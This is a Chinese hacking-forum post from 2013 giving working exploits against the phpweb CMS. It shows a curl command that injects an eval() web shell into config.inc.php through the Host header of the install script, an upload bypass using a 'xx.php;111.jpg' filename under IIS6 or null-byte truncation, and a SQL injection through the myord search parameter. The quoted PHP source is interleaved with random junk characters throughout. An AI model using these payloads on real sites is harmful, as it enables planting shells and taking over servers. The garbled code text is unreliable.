找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2519|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:
7 P5 u- }5 o8 X- B/ a
! \8 X; e0 R  k2 W" r" _( z: j& y之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
1 L8 }" q5 |2 K" ^0 c
- N: G( F' ]/ W. {6 z( ~鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件: A' y% q/ {& j! K9 a* V: x/ r
鸡肋2: 有一定安全常识的站长都会删掉 install 目录
) `- g: m2 a: ~* ^0 ~/ a 4 W# p5 Z* ^7 ?8 {" P' F7 e
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响8 F- ~/ F6 q) g& F+ p7 t( A

9 `9 X7 A- W/ r4 R分析:8 L7 s6 M% r8 Q" S8 c
- D' D( g  _% s9 t" Y2 d
9 A& o" x7 \7 p' E) `7 v! z; s
$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤
3 t! c2 |, M6 M1 J# s5 Q: C+ c ) G+ x! @, ]) [$ N
                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);$ v1 V8 i! U" N8 |/ n
                                            $filestr=str_replace(" ","",$filestr);; F8 F! F/ R" G, N" E
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);
0 a7 G% [  y6 Y4 Z& j! Y                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);8 D% u( B( e7 c8 ], Q& d
                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);: k6 y! z! o  b  W  H  R
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);9 D0 `# n$ Z8 a( w# x& f- ~
                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);* i- P6 M% @2 s1 y) U
                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
/ ?, B$ x% {) s* [& b& |! d                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);
; {1 `6 K7 ^4 T2 H4 }
' B$ s8 W! W. V                                            fwrite(fopen($ConFile,"w"),$filestr,30000);4 Y2 m, q* F. g9 ]6 S
$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^
0 U/ ^1 d' [$ L# C6 c  [( h 0 }' O7 _* j1 U1 v- V$ f
poc:  ?9 Z7 R1 b1 J- t3 {! o$ Y9 f9 G7 u

# i/ L- d* y) {; p) A?
0 o# D' N* O9 o0 {' n# `# `1& o% f, ?5 A) s# w  Z# ?
curl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
% m' S( T8 H. H9 Z/ A6 h; Pshell地址: /config.inc.php1 E) a6 c5 l0 X+ O0 x2 V
跟之前的 phpcms一样 需要远程数据库
" [: P. c+ l2 O) N# t* j
5 j  l1 e4 t- |( t8 X* K" F- l2 _# \8 K——————————————————–
# f) p$ [) ~3 h1 \) X& V+ z, L1 j3 I, i上传漏洞(需要进后台):
% O! b/ L; }- R; [6 R. A漏洞文件: /kedit/upload_cgi/upload.php
) K2 P$ n8 K- A7 n+ H这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用2 T9 G% h" l7 @

* R. I5 Z8 ^" e% ]' t) x
# K" _: U3 A+ }5 h% C# G<?php
# b$ ?8 v( H- }4 u- q0 I( D& b    define("ROOTPATH", "../../");. d$ n7 c  l, L. \6 q
    include(ROOTPATH."includes/admin.inc.php");0 m2 ?7 I& M- ^
    NeedAuth(0);
) b6 F$ r! V) D7 e" U7 n4 P: {7 _( f. b5 f, J
1 n7 a$ L8 |2 c* f) H# ?' {    $dt=date("Ymd",time());& w+ J  V  V% k- u
    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){9 I( O- @* I+ l( P5 V
            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);* Z# m1 _$ O, J( g. K, f
    }
7 E4 e$ r% c1 p" x& |- g/ a " c0 J! `; N: k, q0 E
    //文件保存目录路径/ {6 O* n# {# b# T
    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';; `- ^3 F# q0 ]/ i
    echo $save_path;. Q6 q) D# B: i7 W
    //文件保存目录URL
0 |1 M( {5 E/ m- e" a0 z2 T/ ~" V) ^    $save_url = '../../'.$_POST['attachPath'].$dt.'/';8 a$ m* I6 P) d$ S% p* S: G

6 G. ?3 x; Z; A' P" K4 S    //定义允许上传的文件扩展名9 y' h0 S6 m4 J( x' E, b
    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀
( s9 z8 C4 M' |" J
, _, i, K5 Z' i4 E( r% ~    //最大文件大小
) L4 i* |, J$ l" t& t4 x! `    $max_size = 1000000;3 r" E( n% q0 g3 I. q

8 ~$ y. \5 H2 i5 P    //更改目录权限% {' y0 f5 w2 q2 R0 K7 a
    @mkdir($save_path, 0777);- f- P4 m9 _% I, j5 G' @' j, R
9 O: `! J9 h6 E$ J) K& J: }
    //文件的全部路径
& @' Z4 I5 i( q    $file_path = $save_path.$_POST['fileName'];   //保存文件名
0 G/ y7 `9 S7 H/ T $ N8 F5 Z  s/ _9 d
    //文件URL
/ o* g1 C+ k* _5 Z$ X) T/ Q    $file_url = $save_url.$_POST['fileName'];+ Z4 G( O4 E  J2 @1 X7 e
//有上传文件时
8 Q* B1 w2 P7 Z6 {, z- l7 N    if (empty($_FILES) === false) {
" N2 K. {: @1 W, X: ~
* w2 L* r' m" U& `1 z            //原文件名
  k! z' v* @9 x& O1 t            $file_name = $_FILES['fileData']['name'];# K" l9 u% P0 c
            //服务器上临时文件名7 @% X9 z; s- r, Q, ~/ s& q
            $tmp_name = $_FILES['fileData']['tmp_name'];) H# n2 @& d9 G; j
            //文件大小
% V: t' B7 `1 Y9 K            $file_size = $_FILES['fileData']['size'];7 e* f( C0 o, W. t4 x
            //检查目录
! `+ n& ?6 c2 Z8 D# q            if (@is_dir($save_path) === false) {5 v( \% b0 j' Z3 E
                    alert("上传目录不存在。");
! p8 a1 ^! m* L& W% z3 c, u3 v; N            }0 w* c0 b$ e7 p2 p! N" `
            //检查目录写权限
" K2 s% |( b9 d# H% z3 y            if (@is_writable($save_path) === false) {) i) R" s( Q4 j& s; U
                    alert("上传目录没有写权限。");
" Y+ i* l. m2 J4 r* j            }: ^8 G6 X7 x  l9 \, ~* m' ?+ s
            //检查是否已上传1 w! x; j% o- f8 G
            if (@is_uploaded_file($tmp_name) === false) {9 y& [2 E3 t4 F; q
                    alert("临时文件可能不是上传文件。");/ c# ^4 w) v$ Z$ F0 X( W- ~% {( G+ l% o
            }9 ?: x2 s' E) ^- h' v
            //检查文件大小
4 w! p# f( F+ E8 B. Y8 ~            if ($file_size > $max_size) {7 M: Y# j2 l+ {, |" k4 j3 k4 Y% ^
                    alert("上传文件大小超过限制。");
/ S( w" K; A- E0 ^            }
9 M$ i% P' c' B7 w            //获得文件扩展名
8 Y! k0 k! A' n" x            $temp_arr = explode(".", $_POST['fileName']);9 h2 H% T/ [+ F  h
            $file_ext = array_pop($temp_arr);
; B' k4 [& q# K            $file_ext = trim($file_ext);
$ t6 D, U: B; X( E& C! `: I  A! L            $file_ext = strtolower($file_ext);
$ G; D6 x1 J" |6 o% z2 ~ 8 j' i% _$ x5 w2 q2 A9 x
            //检查扩展名   
; M# z9 [' ?  V& ?6 j9 N, W9 p            if (in_array($file_ext, $ext_arr) === false) {     
7 S4 u1 [$ z" M7 |( S  L7 }; J                    alert("上传文件扩展名是不允许的扩展名。");- x- D4 k( W9 ~4 }. G4 Z
            }2 g8 `$ [6 J; q

) }7 P; F  Q+ J3 f& D            //移动文件   ( C1 ~4 G: G% s9 c' j* K0 T; [
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^0 W! M$ w8 o! f1 q2 j  Q( H
            if (move_uploaded_file($tmp_name, $file_path) === false) {! m0 J* z) r, }% K
                    alert("上传文件失败。");  p% K; ]* m3 O' b& ^4 F5 P3 r
            }
  J' u7 g" e& _& x  }  ?1 i ; n% Y7 X" d7 t; p# ?, S& T( a
            @chmod($file_path,0666);; R, T* J! i) u4 _$ V3 j+ z4 \7 \
3 @- m! F( G. x. e* ^) w8 X2 e
    ?>
# I1 e# O2 Y0 h2 b& B6 t( h+ i抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=227+ ?% k; t4 Z: }5 I/ ~- a* g
" S0 Y5 y# E: c: y7 ]+ o7 n, ?
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过
% P; j9 U$ |+ X& A! a
$ K, B# }/ p4 A2 Z' v/ z) N4 E$ k——————————————————
0 u; k% H' N& I5 c9 U* {! z1 q$ Z% t注入漏洞:
* A4 N' ^% ^, k1 J漏洞文件:search/module/search.php) f( G& @- i. G7 T! O* h7 ?
/search/index.php?key=1&myord=1 [sqlinjection]/ v2 J3 O4 y7 @/ \$ p; E

, U9 G9 ~/ [7 j' }! Y8 h - }' @& H+ E' T; i6 B
<?php
1 r! I9 p1 b% M) L8 r3 b1 J% N: g   //       ... 省略 n 行...% W* ?8 J5 u6 q+ z
   //第18行:4 Y0 P" Y2 Y: Q, S+ C/ n
           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响
2 i* Y0 C" s' c+ B; W8 d1 n6 D           $page=htmlspecialchars($_GET["page"]);% p0 @3 L+ d' i1 y4 ]# c7 Q: T
           $myord=htmlspecialchars($_GET["myord"]);8 a: `0 ~' o! U5 l) @) `$ ~: S

1 n& {4 K! Q& r- S0 K4 L$ }   //       ... 省略 n 行...
% u# j9 \  A+ V. y* T3 v0 T   $key,$myord 两个参数带入查询
/ ^3 R$ G6 y8 v) }5 J2 _0 h   //第47行 $key:
! q& w9 v% u) Z 6 j& C7 @% `. h: z/ n' Y; f9 E
   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..
1 @5 n9 L7 U! V4 G0 q ( \  f5 I% P4 y/ {+ k2 Q# Q
   //第197行 $myord" @- w. W0 I# ^7 F9 }
   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
4 }9 X8 E5 ?* F- |* g # w5 g* [. V6 q0 i
   ?># d3 r8 B, `0 U8 G! \3 f1 s9 @! K
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表